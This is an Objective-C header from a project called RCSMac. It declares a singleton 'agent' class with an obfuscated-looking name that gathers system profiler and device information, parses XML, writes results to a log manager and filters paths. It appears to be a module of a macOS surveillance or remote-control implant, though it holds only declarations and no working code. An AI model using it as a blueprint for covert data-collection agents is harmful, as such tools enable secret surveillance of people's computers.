core/Agents/RCSMAgentDevice.h
//
// RCSMAgentDevice.h
// RCSMac
//
// Created by kiodo on 3/11/11.
// Modified by J on 2014.
// Copyright 2011 __MyCompanyName__. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "RCSMLogManager.h"
@interface __m_MAgentDevice : NSObject
{
@private
NSMutableDictionary *mAgentConfiguration;
}
+ (__m_MAgentDevice *)sharedInstance;
- (id)copyWithZone: (NSZone *)aZone;
+ (id)allocWithZone: (NSZone *)aZone;
- (unsigned)retainCount;
- (id)retain;
- (void)release;
- (id)autorelease;
- (NSMutableDictionary *)mAgentConfiguration;
- (void)setAgentConfiguration: (NSMutableDictionary *)aConfiguration;
- (void)start;
- (BOOL)stop;
- (BOOL)writeProfilerInfo: (NSData*)aInfo;
- (NSData*)getSystemProfilerInfo: (NSString*)aDataType;
- (NSData*)parseXml: (NSData*)xmlData;
- (BOOL)getDeviceInfo;
- (BOOL)filterOut: (NSString*)aPath;
@end